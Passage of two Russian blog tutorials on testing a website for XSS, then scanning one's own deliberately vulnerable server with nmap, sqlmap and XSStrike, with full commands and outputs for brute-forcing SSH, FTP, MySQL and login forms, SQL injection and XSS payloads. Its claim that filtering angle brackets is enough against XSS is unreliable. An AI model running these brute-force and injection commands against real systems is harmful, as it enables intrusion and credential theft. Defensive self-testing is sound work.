Кстати тестировать сайт на уязвимости для XSS , лучше в IE, поэтому если ранее вы подставляли вышеперечисленные действия в другом браузере попробуйте сделать тоже самое теперь в Interner Explorer.
Запомните все найденые XSS уязвимости, и не спешите завершать этап поиска слабых мест.
Кроме форм и полей ввода, XSS уязвимыми могут быть страницы обрабатывающие GET параметры.
Например, страница такого типа http://yourdomain.ru/catalog?p=3 Может оказаться большой дырой в защите сайта.
Подобно действиям проделанным ранее в поле ввода, попробуте подставить в параметр вышеперечисленные строки кода.
http://yourdomain.ru/catalog?p=”><script>alert(“cookie: “+document.cookie)
Вполне вероятно что вы вновь получите сообщение
Выводящее на показ идентификатор сессии пользователя.
Защита от XSS атак
Теперь вы имеете представление о том как проводятся XSS инъекции , и конечно же понимаете что вместо вывода сообщения, информация будет уходить в руки злоумышленника.
Внимание: кульминационный момент!
Для того чтобы защититься от XSS атак и устранить все возможные XSS уязвимости вашего сайта, достаточно перед работой с входными данными пропустить их через фильтр и заменить все опасные спец символы безопасными:
1 |
$filter = array(“<“, “>”); |
Этих двух маленьких строчек кода достаточно для избежание больших проблем. Теперь если попытаться внедрить инъекцию через адресную строку или форму ввода
http://yourdomain.ru/searh?q=»><script>alert(«cookie: «+document.cookie)</script>
Никаких сообщений мы больше не увидим, поскольку все скобки в переменной $_GET[‘q’] будут заменены на безопасные символы «|», и JS код станет невыполнимым.
В этом примере показан способ защиты только одной переменной, на практике необходимо будет пропускать через подобный фильтр все входные параметры на всех страницах с XSS уязвимостями.
Для массовой проверки входящих данных, методами POST и GET можно использовать такую функцию:
1 |
function defender_xss($arr){ |
Кроме того будет не лишним дополнить фильтр другими символами для фильтрации:
1 |
$filter = array(“<“, “>”,“=”,” (“,“)”,“;”,“/”); |
Альтернативным способом защиты будет использование штатных PHP функций:
- strip_tags() — удаляет из строки все HTML-теги, кроме разрешённых.
- htmlspecialchars() — заменяет все спецсимволы на их HTML-аналоги.
Будьте аккуратны, strip_tags() можно обойти, используя инъекции подобного рода:
1 |
<body onload=alert(‘xss’)> |
Каким образом воруются cookie пользователей?
Не всем сразу может быть ясно, как происходит процесс получения cookie пользователей.
Все дело в том, что после выявления XSS уязвимостей, хакер создает ссылку с вредоносным кодом. В этом коде данные из куков передаются на сторонний сервер, на котором обрабатываются и сохраняются, затем пользователь перенаправляется на страницу обратно. Все это происходит незаметно для человеческого глаза, и поэтому атака остается необнаруженной.
Зараженные ссылки несущие в себе XSS атаки, попадают пользователям разнообразными способами, путем передачи ссылок в соц сетях , атах форумах и др местах скопления юзеров.
Атаки построенные по принципу межсайтингового скриптинга делятся на два типа:
- Активные XSS атаки – подразумевают внедрение ссылки в саму страницу ресурса, сделать это можно путем вставки вредоносного кода в запись БД, или загрузив картинку на сайт указав в ней ссылку с вредоносным кодом.
- Пассивные XSS атаки – пользователь сам должен вставить ссылку в адресную строку или просто кликнуть по ней.
Конечно ссылки предоставляемы хакерами, не выглядят таким образом:
http://yourdomain.ru/searh?q=»><script>alert(«cookie: «+document.cookie)</script>
Существует множество способов закодировать содержание ссылки, таким образом скрыв смысл от жертвы. Кодировать можно в base64, hex, или использовать сторонний сервер для маршрутизации.
- http://hakerserver.com/82qdm6k
- data:text/html;base64,aHR0cDovL2luZm9zZXJ2aWNlNjozMDAwL2luZm8vc2VhcmNoLmh0bWw/cT0iPjxzY3JpcHQ+YWxlcnQoJycpPC9zY3JpcHQ+
- http://infoservice6:3000/info/search.html?q=%22%3E%3Cscript%3Ealert(»)%3C%2Fscript%3E
Согласитесь теперь сложно догадаться о том, что внутри ссылки зашифрован зловредный код. А если снабдиться ссылку красивыми вешанием лапши на уши пользователям и рассказать какая полезна эта ссылка то единицы не перейдут по ней. Но это уже из области социальной инженерии…
В дополнение к вышеприведенному способу защиты, можно использовать и защиту от XSS на сервере, прописав в .htaccess такой код:
1 |
Options +FollowSymLinks |
Итак подведем итоги, в статье XSS уязвимость и защита от XSS, мы научились выявлять XSS уязвимости на своем сайте, создали фильтр не допускающий внедрения XSS инъекций, и защитились от XSS атак.
Читайте также похожие статьи:
Чтобы не пропустить публикацию следующей статьи подписывайтесь на рассылку по E-mail или RSS ленту блога.
Пошагово расскажу как за полчаса комплексно проверить безопасность сайта даже если вы не программист. Статья будет полезна разработчикам, тестировщикам, а также владельцам сайтов.
Всем привет! Сейчас большинство статей в интернете по теме поиска уязвимостей на своем сайте делятся на два типа: это либо банальный список онлайн-сканеров без подробных инструкций как ими пользоваться, либо хардкорные мануалы для фанатов информационной безопасности и прочих хакеров, где без Линукса не разобраться.
Поэтому я решил написать статью, которой мне не хватало, когда я только начинал разбираться в этой теме. Надеюсь эта статья сделает интернет чуть-чуть безопаснее, а вам поможет найти даже те уязвимости, которые вы изначально не закладывали😃.
Статья пригодится:
- Backend разработчикам: вы сможете быстро тестировать свои веб-приложения на наличие уязвимостей и тем самым повысить их надежность и безопасность данных ваших пользователей. (Если конечно исправите уязвимости, которые найдете )
- Frontend разработчикам: пока npm собирает ваш фронтенд, вы как раз успеете проверить API вашего веб-приложения. А если повезет и вы сможете найти уязвимости, то вы не только поможете своей компании в будущем сохранить свою репутацию (а себе выбить премию), но и сможете целую неделю незлобно троллить ваших backend разработчиков и DevOps инженеров в общем чате.
- Тестировщикам: освоите новые инструменты и сможете требовать законную прибавку к зарплате, а также немного считать себя хакерами.
- Владельцам веб-сайтов и стартаперам без раунда: вы сможете самостоятельно базово проверить свой сайт без привлечения дорогостоящих экспертов, а также сможете лучше понимать технические особенности работы вашей бизнес-машины.
А нужно ли проверять?
Немного фактов и мнений:
Факт доказанный практикой и личным опытом: даже если у вас небольшой интернет-магазин, в 2020 вы уже будете подвергаться кибератакам по несколько раз в день.
С момента попадания в индекс GoogleYandex ваш сайт становится мишенью десятка (а если сайт крупный, то сотни) специализированных ботов, которые круглосуточно мониторят даже небольшие сайты и серверы для поиска уязвимостей и дальнейшего взлома.
У вас может быть грамотная архитектура, красивый дизайн, быстрая скорость загрузки, но всего лишь небольшая ошибка или невнимательность разработчика может серьезно навредить вашему бизнесу. Поэтому необходимо регулярно проверять свой сайт или веб-приложение на наличие уязвимостей.
Хорошая новость – сейчас можно самостоятельно просканировать свое веб-приложение различными бесплатными сканерами безопасности и найти уязвимые места заранее.
Внимание, использование подобных сканеров уязвимостей на чужих сайтах без разрешения владельцев является нарушением закона почти во всех странах.
Теперь я наглядно и пошагово покажу как с помощью таких инструментов самостоятельно проверить свой сайт, а также как разобраться в сгенерированных отчетах .
Что будем проверять:
- Доступ к серверу и исходным кодам
- Уязвимости веб-серверов (Apache или NGINX)
- SQL инъекции
- Межсайтовый скриптинг (XSS).
- Устойчивость приложения и сервера к перебору паролей
- Получение доступа к системным каталогам
Если вы пока еще не знаете, что означают все эти страшные слова и сокращения на английском, то не переживайте, по ходу статьи я обязательно объясню их значения.
В качестве подопытного сайта я написал и развернул небольшой самописный блог с возможностью оставлять комментарии к статьям и добавил в него весь джентльменский набор:
- Многочисленные SQL инъекции
- XSS уязвимости
- Простой пароль для ssh доступа
- Открытый ftp
- Отсутствие защиты от перебора паролей
- База данных, доступная из интернета с простым паролем
- Слишком широкие права доступа к папкам и файлам
В общем все так, как делать не надо.
1. Проверяем сетевую инфраструктуру.
В кибератаках, также как и войне, все начинается с разведки, чтобы найти уязвимое место соперника. Для того, чтобы эффективно атаковать, злоумышленникам необходимо знать, какое ПО используется на сервере и какие двери открыты или закрыты недостаточно крепко. К несчастью владельцев сайтов, сейчас, чтобы все это узнать, нужно лишь здравое любопытство и утилита nmap.
Nmap – это набор инструментов для сканирования сетевой инфраструктуры веб-сервиса. Он может быть использован для проверки безопасности, для идентификации запущенных серверных приложений.
Nmap позволяет запускать готовые скрипты, которые значительно упрощают анализ вашего сервера. Минус – теперь даже смышленный школьник, вооружившись пачкой скриптов, может предоставлять опасность для серверов компании.
Интересный факт – сyществует целая галерея фильмов, где утилита nmap используется для кибератак. Часть представлено в галерее, под каждой картинкой описание. Более полный список и разбор можно посмотреть по ссылке
Посмотрели картинки, теперь можно и поработать! Приступаем к делу.
Устанавливаем nmap
В установке нет ничего сложного. Примеры установки покажу на примере Windows и Mac OS. В дистрибутивах Linux последняя версия nmap обычно установлена по умолчанию.
Установка на Windows 10
Перейдите по ссылке загрузки nmap и загрузите последнюю стабильную версию. На данный момент (16.09.2020) эта версия 7.80. Скачать ее можно по этой ссылке с официального сайта. Дальше запустите nmap-7.80-setup.exe от имени администратора. Программа установки по умолчанию предложит установить все компоненты, галочки можно не снимать. Описывать шаги далее подробно ( Примите лицензионное соглашение и тд) не буду, там все изи.
Запуск nmap на Windows
Запускать nmap можно как в режиме графического интерфейса, так и через командную строку.
Для запуска графической оболочки введите в строку поиска nmap и в результатах выберите nmap – Zenmap GUI
Для дальнейшей работы вы можете вводить нужные команды в поле “Команда”, а затем нажимать на кнопку Сканирование. Результаты сканирования в виде текстового отчета вы можете посмотреть в окне, которое я старательно подписал “Отчет”
Мне ближе использование nmap через командную строку aka консоль. Для запуска командной строки введите “cmd” в строку поиска на панели инструментов. Нажмите Enter и затем откроется командная строка. Дальше прямо в нее можно вводить nmap команды.
Командная строка в Windows 10 c введенной командой nmap выглядит вот так:
Mac OS X
Нажмите Command+Space и введите “Терминал”, после этого нажмите Enter. Дальше последнюю версию nmap можно установить через менеджер HomeBrew c помощью следующей команды, которую нужно ввести в терминале:
brew install nmap
Для запуска nmap просто начинайте команду с nmap, ничего сложного 🙂
nmap localhost
Устанавливаем скрипты
Также нам надо установить скрипт nmap_vulners, который будет проводить проверку на то, содержатся ли уязвимости в ПО, которое мы используем. Для его установки нужно скачать файлы скрипта и перенести файлы http-vulners-regex.nse и vulners.nse в C:Program Files (x86)Nmapscripts.
Если у вас Mac OS, то перенести файлы скрипта нужно в папку /usr/local/Cellar/nmap/<version>/share/nmap/scripts/
Начинаем проверку
Для начала запускаем сканирование своего сервера командой ниже, чтобы выяснить какие порты используются и для чего. Команда выглядит так (подставьте свой ip или домен). Команду нужно вводить в окне консоли, либо если вы используете Zenmap GUI, то в поле “Команда” (пример я привел выше):
nmap -sV -Pn -p- -T5 161.35.92.161
Параметр T5 отвечает за скорость анализа сервера. Скорость можно менять от T0 до T5, где T0 – очень медленная скорость анализа, а T5 – очень быстрая. Если вы не хотите сильно нагружать сервер, то используйте T2.
Параметр -p- означает, что мы будем проверять весь диапазон портов (‘это займет около 10 минут) . Его можно убрать и тогда скрипт просканирует не все порты, а только 1000 первых (самые распространенные).
Ответ будет выглядеть примерно так:
nmap -sV -Pn 161.35.92.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:03 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.085s latency).
Not shown: 965 filtered ports, 31 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.39 seconds
Из отчета мы видим, что nmap отобразил нам порты (под колонкой PORT), которые активны. В данном случае у нас используются:
- Порт 21 занят под FTP
- Порт 22 занят под SSH.
- Порт 80 прослушивается сервером Apache.
- Порт 3306 используется MySQL
Теперь запускаем наш скрипт, который проверит уязвимости в нашем ПО на сервере. Для этого запускаем следующую команду с указанием портов, которые мы будем проверять. Вам нужно будет заменить список портов на свои .
nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23
Пример отчета. Ссылки на описание уязвимости идут после строки vulners (пример такой строки со ссылкой в отчете: CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:50 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.2p1:
|_ CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278
23/tcp filtered telnet
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| vulners:
| cpe:/a:apache:http_server:2.4.41:
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
|_ CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993
443/tcp closed https
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
8080/tcp filtered http-proxy
8443/tcp filtered https-alt
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds
Как видите из отчета, скрипт проанализировал активное ПО нашего сервера и любезно предоставил ссылки с описанием каждой найденной уязвимости. Что согласитесь, очень удобно как для нас, так и для злоумышленников.
Также можно записать результат анализа в файл, который потом можно скинуть ответственному разработчику или системному администратору. Сам файл результатов будет находиться в каталоге, из которого вы запускаете скрипт. Пример такой команды ниже:
nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23 > result.txt
Чтобы избавиться от подобных проблем обычно достаточно обновить используемое ПО до последних версий, где уязвимости старых версий, как правило, уже исправлены.
2. Проверяем устойчивость к перебору.
В нашем случае nmap определил, что на сервере есть ssh, ftp и mysql. Попробуем проверить насколько устойчивые пароли используются.
SSH
Вводим следующую команду (напомню, что вводить нужно либо в консоль, либо в поле “Команда” программы Zenmap GUI.
nmap –script ssh-brute -p22 161.35.92.161 –script-args userdb=users.lst,passdb=passwords.lst
В случае успеха (процесс не быстрый) скрипт выведет подобранный пароль и логин . Подобранные пары логинпароль будут выведены после строчки Accounts:
22/ssh open ssh
ssh-brute:
Accounts
username:password
Statistics
Performed 32 guesses in 25 seconds.
Кроме того, можно расширить стандартные списки паролей и пользователей от nmap, заменив файлы users.lst и passwords.lst . Различные базы для брутфорса можно найти в этом gitbub репозитории. Файлы с базой паролей можно разместить в папке nmap/nselib/data
FTP
Теперь проверяем FTP порт следующей командой:
nmap -d –script ftp-brute -p 21 161.35.92.161
Аналогично, сервис выведет подобранные пары логинов и паролей:
PORT STATE SERVICE
21/tcp open ftp
| ftp-brute:
| Accounts
| root:root – Valid credentials
|_ Statistics: Performed 864 guesses in 544 seconds, average tps: 4.8
MySQL
Проверяем доступен ли анонимный вход.
nmap -sV –script=mysql-empty-password <target>
В случае успеха:
3306/tcp open mysql
| mysql-empty-password:
| anonymous account has empty password
|_ root account has empty password
Пытаемся подобрать пару логинпароль для входа в базу данных mysql.
nmap –script mysql-brute -p 3306 <target>
–script-args userdb=users.lst, passdb=passwords.lst
Также если у вас используются CMS (WordPress, Joomla, Drupal, Bitrix) и другие базы данных (Mongo, Postgres, Redis), то можно найти готовые скрипты для проверки устойчивости ваших паролей и форм. Ищите по ключевым словам <name_of_CMS_or_DB> brute force nmap
Проверяем формы авторизации
Найти формы авторизации можно с помощью такой команды (вместо <target> – подставьте домен вашего сайта):
nmap -p80 –script http-auth-finder <target>
После того, как нашли страницы с авторизацией, можно попробовать подобрать пароль и логин для входа в админку сайта.
Параметры
- http-brute.hostname – имя хоста
- http-form-brute.path – адрес страницы с формой или адрес с API
- http-brute.method – тип метода, по умолчанию POST
- http-form-brute.uservar – устанавливает имя переменной, которая отвечает за username. Если не установлено, то скрипт возьмет имя поля из формы
- http-form-brute.passvar – устанавливает имя переменной, которая отвечает за пароль. Если не установлено, то скрипт возьмет имя поля из формы
Параметры нужно перечислять через запятую после -script-args.
nmap -p-80 –script=http-form-brute –script-args=http-form-brute.path=/login <target>
Если скрипт успешно сработает, то выведет примерно вот такой результат.
Подобранные данные для входа будут отображены после строчки Accounts. В нашем случае скрипт подобрал логин user с паролем secret. В реальном приложении подбор может также занять продолжительное время, зависит от того насколько стойкий пароль используется.
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-form-brute:
| Accounts
| user:secret – Valid credentials
| Statistics
|_ Perfomed 60023 guesses in 467 seconds, average tps: 138
Если ваша формы авторизации использует cookies параметры или csrf-token, то в этом случае выдаст ошибку. (И это хорошо, значит базовую защиту вы предусмотрели).
В качестве защиты стоит использовать стойкие пароли, а также ограничивать количество запросов с одного IP-адреса (Rate limiting).
3. Ищем скрытые папки и файлы
Часто разработчики или системные администраторы довольно халатно относятся к правам доступа и забывают закрыть доступ к системным и другим важным папкам. Проверить есть у нас на сервере такие папки можно также с помощью утилиты nmap. Команды будет выглядеть так (вместо <target> нужно подставить IP-адрес сервера или домен сайта) :
nmap -sV -p 80 -T5 –script http-enum <target>
В результате в отчете нам покажут доступные для просмотра папки, интересные файлы – файлы паролей, резервные копии базы данных и тд. (Если такие существуют). Дальше уже вам нужно самостоятельно решить какие папки и файлы нужно закрыть от просмотра, а какие оставить как есть.
Пример небольшого отчета.
Host is up (0.024s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /robots.txt: Robots file
| /css/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
| /images/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
|_ /js/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
4. Проверяем на SQL инъекции
Так повелось, что большинство современных веб-приложений в той или иной мере используют SQL базы данных. Обычно параметры веб-страницы или какие-либо пользовательские данные подставляются в SQL запросы и результаты запроса отображаются на веб-странице. Если передаваемые параметры плохо фильтруются, то веб-сервис становится уязвимым для SQL инъекций.
Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно. Именно таким образом чаще всего воруют базы пользователей и их личные данные.
Далее я покажу как с помощью скриптов быстро и эффективно проверить есть в вашем продукте подобные уязвимости. Часто даже довольно опытные разработчики забывают о мерах предосторожности, поэтому даже серьезные продукты имеют подобные проблемы. Попробуем проверить наш тестовый веб-сервис на наличие таких проблем c помощью инструмента sqlmap.
Установка sqlmap.
Sqlmap – это кроссплатформенный сканер с открытым исходным кодом, который позволяет в автоматическом режиме тестировать веб-сервисы на наличие SQL инъекций, а затем использовать их для получения контроля над базой данных.
В данной статье я рассмотрю только способы как можно находить уязвимые для SQL инъекций страницы, API и формы без подробностей о том, как использовать найденные уязвимости для нанесения вреда. (Владельцы сайтов тут облегченно вздохнули). Для использования необходим python версии 2.7 и старше.
Установка на Windows
Для начала работы нам необходимо установить Python. Установщик Python для Windows можно найти на официальном сайте. Ссылку я прикрепил ниже.
На сайте две ветки – 2.x и 3.x, но скачать и установить лучше ветку 3.x. Sqlmap корректно работают с каждой из этих версий, но в дальнейшем нам потребуется версия 3.x.
Загрузить последнюю версию sqlmap можно здесь. Распакуйте архив в любую удобную папку (чтобы было проще ее найти можно распаковать в папку С:Users<имя вашего пользователя>)
Для запуска вначале нужно открыть командную строку. Нажмите Win+R, в появившемся окне введите cmd и нажмите enter. Пример запуска:
С:UsersAdminsqlmap>python ./sqlmap.py -u http://161.35.92.161/page.php?id=2
Установка на Mac OS X
Для начала установим Python. Для этого откройте Tерминал и запустите следующую команду.
brew install python3
Теперь установим sqlmap.
brew install sqlmap
Запуск sqlmap для Mac OS X.
sqlmap -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent
Начинаем проверку
В моем тестируемом сервисе я специально подготовил sql уязвимости. Попробуем найти их следующей командой. Параметр –dbs означает, что нам интересны имена баз данных. В случае успеха и наличия уязвимости, после определения баз данных можно перейти к поиску таблиц и получения нужных данных. Команду необходимо вводить в консоль.
python sqlmap.py -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent
Через некоторое время скрипт может попросить нас уточнить некоторые данные. В данном случае выбираю “нет”, чтобы скрипт прогнал все тесты.
[01:14:57] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler)’ from file ‘C:UsersAcersqlmapdatatxtuser-agents.txt’
[01:15:04] [INFO] testing connection to the target URL
[01:15:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:15:05] [INFO] testing NULL connection to the target URL
[01:15:05] [INFO] NULL connection is supported with GET method (‘Range’)
[01:15:05] [INFO] testing if the target URL content is stable
[01:15:05] [INFO] target URL content is stable
[01:15:05] [INFO] testing if GET parameter ‘id’ is dynamic
[01:15:05] [INFO] GET parameter ‘id’ appears to be dynamic
[01:15:06] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable
[01:15:06] [INFO] testing for SQL injection on GET parameter ‘id’
[01:15:06] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
[01:15:06] [INFO] GET parameter ‘id’ appears to be ‘AND boolean-based blind – WHERE or HAVING clause’ injectable
[01:15:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘CrateDB’
it looks like the back-end DBMS is ‘CrateDB’. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
Скрипт выводит отчет:
[01:15:29] [INFO] testing ‘MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’
[01:15:29] [INFO] testing ‘PostgreSQL AND error-based – WHERE or HAVING clause’
[01:15:29] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause (IN)’
[01:15:30] [INFO] testing ‘Oracle AND error-based – WHERE or HAVING clause (XMLType)’
[01:15:30] [INFO] testing ‘MySQL >= 5.0 error-based – Parameter replace (FLOOR)’
[01:15:30] [INFO] testing ‘Generic inline queries’
[01:15:30] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
[01:15:30] [WARNING] time-based comparison requires larger statistical model, please wait…………………. (done)
[01:15:32] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
[01:15:32] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE – comment)’
[01:15:32] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[01:15:43] [INFO] GET parameter ‘id’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable
[01:15:43] [INFO] testing ‘Generic UNION query (NULL) – 1 to 20 columns’
[01:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:15:45] [INFO] target URL appears to be UNION injectable with 4 columns
[01:15:46] [INFO] GET parameter ‘id’ is ‘Generic UNION query (NULL) – 1 to 20 columns’ injectable
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
После продолжения анализа нас в первую очередь интересует строчка в конце: GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N].
Как можно видеть, скрипт определил, что параметр id уязвим и предлагает протестировать другие параметры. В нашем конкретном случае других параметров нет, но в реальных веб-приложениях таких параметров может быть десятки, так что иногда имеет смысл проверить все.
Итоговый отчет:
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
—
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=2 AND 9795=9795
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 7989 FROM (SELECT(SLEEP(5)))geJr)
Type: UNION query
Title: Generic UNION query (NULL) – 4 columns
Payload: id=2 UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x736654714b69505a4f6f64434776566d7a43455179446561434f7a46434241555449574d6759575a,0x7162627171),NULL,NULL– –
—
[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vc_test
[INFO] fetched data logged to text files under ‘C:UsersAdminAppDataLocalsqlmapoutput161.35.92.161’
В итоге скрипт не только определил, что параметр id является уязвимым, но и версию СУБД, а также получил название используемой базы данных на сервере – vc_test, в которой содержится контент сайта. Эту информацию можно найти в конце сгенерированного отчета.
В дальнейшем для злоумышленника уже обычно не проблема получить данные в таблицах, а возможно и полный контроль над всей БД, а то и всем нашим сервером и исходным кодом сайта, если для запросов используется пользователь с широкими правами.
Кроме того, sqlmap позволяет задавать http заголовки и параметры Cookies, что довольно удобно для тестирования, особенно когда для получения результата запроса требуется авторизации.
Пример тестирования запроса POST. Параметры, которые передаются в теле запроса записываются в опцию скрипта –data. Необходимые параметры для POST запроса можно подсмотреть в консоли браузера (Ctrl + Shift + I в Windows, затем перейти в вкладку Network, совершить нужное действие, а затем изучить каким образом формируется запрос)
sqlmap.py -u http://localhost/login –data=”username=alex&password=pass” –dbs -o -random-agent
После авторизации обычно необходимо передать нужные Сookie. В sqlmap за это отвечает опция –cookie. Нужные значения cookies можно получить в инструментах разработчика вашего браузера. (в Windows ctrl+shift+i, затем найдите вкладку Network, а в ней щелкните на запрос с именем домена сайта. В окне справа пролистайте пока не увидите параметр cookie)
Пример команды sqlmap c опцией –cookie.
sqlmap.py -u http://localhost/create –data=”name=alex&message=hacked” –cookie=”security_level=low; PHPSESSID=05aa4349068a1kkaje4kcqnr9o6″ –dbs -o -random-agent
Если параметров несколько, то можно явно указать какой параметр будем тестировать с помощью опции -p.
sqlmap.py -u “http://localhost/profile/?username=alex&page=2” -p username
Можно задавать http заголовки через опцию –headers. Это крайне полезно для тестирования ваших API.
Также если get параметр передается не как get параметр, а как URI, то в этом случае нужно явно указать с помощью *, что данная часть URI является параметром. Пример:
sqlmap.py -u “http://localhost/api/v2/news/2*” –headers=”Authorization: Bearer <token>” –dbs -o -random-agent
Таким образом можно довольно тщательно протестировать ваше веб-приложение на наличие SQL инъекций. Также крайне полезно использовать sqlmap для автоматических тестов и запускать их после каждого изменения кода вашего приложения и не допускать код в ветку master, если он содержит уязвимость.
Для защиты от SQL инъекций нужно тщательно фильтровать параметры и HTTP заголовки, а также использовать подготовленные запросы.
5. Проверка на XSS уязвимости.
Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении злоумышленником своего Javascript кода в веб-страницу, которая отображается в браузере пользователя.
После такого внедрения злоумышленник фактически захватывает веб-страницу и может манипулировать данными пользователя, когда он находится на странице. В случае успеха злоумышленник может:
- Внедрять свои скрипты в веб-страницу
- Отправлять на свой сервер пользовательские данные – банковские карты, идентификаторы сессий, пароли и тд.
- Совершать действия от имени пользователя – рассылать спам, совершать денежные переводы
Уязвимость возникает из-за недостаточной фильтрации данных, которые выводятся при отображении страницы.
Такие уязвимости довольно часто встречаются даже в крупных продуктах, поэтому стоит обязательно тестировать свои веб-приложения на наличие XSS уязвимостей.
В данном случае для тестирования мы воспользуемся утилитой XSStrike
ХSStrike – это довольно продвинутый сканер для поиска XSS уязвимостей c открытым исходным кодом. Он написано на Python3 и довольно прост в начальной настройке и использования.
Установка
Для установки необходимо скачать архив по ссылке и распаковать в удобную вам папку. После этого необходимо открыть консоль (ранее я уже показывал как это сделать в Mac и Windows) и перейти в распакованную папку. Затем нужно выполнить команды в консоле:
pip3 install pygame
Установим необходимые для корректной работы библиотеки:
pip3 install -r requirements.txt
Теперь мы готовы к тестированию. Пример простого запуска, вместо моего url укажите адрес страницы, которую хотите протестировать:
python xsstrike.py -u “http://161.35.92.161/index.php?page=2” –blind
Очень быстро скрипт обнаруживает, что параметр page является уязвимым ( строчка Reflections found ) и через него можно передать js код, который будет исполнен на странице. Пример такого кода приводится в строчке Payload. Такой тип XSS уязвимостей называется reflected XSS.
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: page
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
————————————————————
[+] Payload: <HTmL%0aONmOuSEoVeR+=+(prompt)“%0dx//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n
Кроме того, можно проверять и формы. Отправим на проверку форму, которая отправляет сообщение в наш сервис. Чтобы передать список POST параметров используем опцию –data.
python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –blind
Результат: параметр name уязвим.
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[!] Reflections found: 3
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 4608
————————————————————
[+] Payload: <A%0aOnmOUSeOVEr%0d=%0d(prompt)“%0dx>v3dm0s
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]
Как выглядит ответ, когда скрипт не находит уязвимых параметров:
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[-] No reflection found
[!] Testing parameter: message
[-] No reflection found
Кроме того, в XSStrike поддерживает возможность передавать http заголовки, в том числе и cookies и проверять страницы для открытия которых нужна авторизация. Для этого используется опция –headers
python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –headers “Authorization: Bearer <token> Cookie: zmname=none” –blind
